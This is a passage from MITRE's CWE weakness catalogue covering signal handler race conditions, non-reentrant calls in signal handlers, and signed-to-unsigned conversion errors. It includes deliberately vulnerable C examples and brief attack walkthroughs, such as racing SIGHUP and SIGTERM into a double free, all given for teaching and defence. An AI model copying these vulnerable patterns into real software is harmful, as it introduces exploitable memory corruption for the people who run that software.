These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

  • Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code
  • Shared state between a signal handler and other signal handlers
  • Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.
  • Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.
  • Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality
  • While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

  • Avoiding shared state
  • Using synchronization in the signal handler
  • Using synchronization in the regular code
  • Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.432Dangerous Signal Handler not Disabled During Sensitive Operations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.828Signal Handler with Functionality that is not Asynchronous-Safe
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.831Signal Handler Function Associated with Multiple Signals
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.416Use After Free
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.387Signal Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Modify Application Data; Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.
Access Control

Technical Impact: Gain Privileges or Assume Identity

If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

(bad code)
Example Language:
char *logMessage;

void handler (int sigNum) {
syslog(LOG_NOTICE, "%s\n", logMessage);
free(logMessage);
/* artificially increase the size of the timing window to make demonstration of this weakness easier. */

sleep(10);
exit(0);
}

int main (int argc, char* argv[]) {
logMessage = strdup(argv[1]);
/* Register signal handlers. */

signal(SIGHUP, handler);
signal(SIGTERM, handler);
/* artificially increase the size of the timing window to make demonstration of this weakness easier. */

sleep(10);
}

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

  • The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
  • The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
  • The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
  • SIGHUP-handler begins to execute, calling syslog().
  • syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
  • The attacker then sends SIGTERM.
  • SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
  • The SIGTERM handler is invoked.
  • SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

(bad code)
Example Language:
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>

void *global1, *global2;
char *what;
void sh (int dummy) {
syslog(LOG_NOTICE,"%s\n",what);
free(global2);
free(global1);
/* Sleep statements added to expand timing window for race condition */

sleep(10);
exit(0);
}

int main (int argc,char* argv[]) {
what=argv[1];
global1=strdup(argv[2]);
global2=malloc(340);
signal(SIGHUP,sh);
signal(SIGTERM,sh);
/* Sleep statements added to expand timing window for race condition */

sleep(10);
exit(0);
}

However, the following sequence of events may result in a double-free (CWE-415):

  1. a SIGHUP is delivered to the process
  2. sh() is invoked to process the SIGHUP
  3. This first invocation of sh() reaches the point where global1 is freed
  4. At this point, a SIGTERM is sent to the process
  5. the second invocation of sh() might do another free of global1
  6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

+ Observed Examples
ReferenceDescription
Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges
Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges
unsafe calls to library functions from signal handler
SIGURG can be used to remotely interrupt signal handler; other variants exist
SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

Phase: Implementation

Only use reentrant functions within signal handlers. Also, use validation to ensure that state is consistent while performing asynchronous actions that affect the state of execution.
+ Functional Areas
  • Signals
  • Interprocess Communication
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3617PK - Time and State
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSignal handler race condition
7 Pernicious KingdomsSignal Handling Race Conditions
CLASPRace condition in signal handler
Software Fault PatternsSFP19Missing Lock
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-360] Michal Zalewski. "Delivering Signals for Fun and Profit". <https://lcamtuf.coredump.cx/signals.txt>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Signal Vulnerabilities", Page 791. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, References
2010-12-13CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples, References
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2022-04-28CWE Content TeamMITRE
updated Relationships, Research_Gaps
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID: 479
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product defines a signal handler that calls a non-reentrant function.
+ Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.663Use of a Non-reentrant Function in a Concurrent Context
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.828Signal Handler with Functionality that is not Asynchronous-Safe
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

It may be possible to execute arbitrary code through the use of a write-what-where condition.
Integrity

Technical Impact: Modify Memory; Modify Application Data

Signal race conditions often result in data corruption.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

In this example, a signal handler uses syslog() to log a message:

(bad code)
 
char *message;
void sh(int dummy) {
syslog(LOG_NOTICE,"%s\n",message);
sleep(10);
exit(0);
}
int main(int argc,char* argv[]) {
...
signal(SIGHUP,sh);
signal(SIGTERM,sh);
sleep(10);
exit(0);
}
If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.
+ Observed Examples
ReferenceDescription
signal handler calls function that ultimately uses malloc()
SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.
+ Potential Mitigations

Phase: Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Phase: Implementation

Ensure that non-reentrant functions are not found in signal handlers.

Phase: Implementation

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

Effectiveness: Defense in Depth

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.745CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.847The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.879CERT C++ Secure Coding Section 11 - Signals (SIG)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1166SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUnsafe function call from a signal handler
CERT C Secure CodingSIG30-CExactCall only asynchronous-safe functions within signal handlers
CERT C Secure CodingSIG34-CDo not call signal() from within interruptible signal handlers
The CERT Oracle Secure Coding Standard for Java (2011)EXP01-JNever dereference null pointers
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Signal Vulnerabilities", Page 791. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, References, Relationships
2020-12-10CWE Content TeamMITRE
updated Common_Consequences
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-12-13Unsafe Function Call from a Signal Handler

CWE-195: Signed to Unsigned Conversion Error

Weakness ID: 195
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.
+ Extended Description

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.
+ Demonstrative Examples

Example 1

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

(bad code)
Example Language:
unsigned int readdata () {
int amount = 0;
...
if (result == ERROR)
amount = -1;
...
return amount;
}

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 2

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

(bad code)
Example Language:
unsigned int readdata () {
int amount = 0;
...
amount = accessmainframe();
...
return amount;
}

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 3

The following code is intended to read an incoming packet from a socket and extract one or more headers.

(bad code)
Example Language:
DataPacket *packet;
int numHeaders;
PacketHeader *headers;

sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;

if (numHeaders > 100) {
ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 4

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

(bad code)
Example Language:
char* processNext(char* strm) {
char buf[512];
short len = *(short*) strm;
strm += sizeof(len);
if (len <= 512) {
memcpy(buf, strm, len);
process(buf);
return strm + len;
}
else {
return -1;
}
}

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

Example 5

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)
Example Language:
int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...
}
int main() {
...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...
}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 6

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

(bad code)
Example Language:
int proc_msg(char *s, int msg_len)
{
// Note space at the end of the string - assume all strings have preamble with space
int pre_len = sizeof("preamble: ");
char buf[pre_len - msg_len];
... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

+ Observed Examples
ReferenceDescription
Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

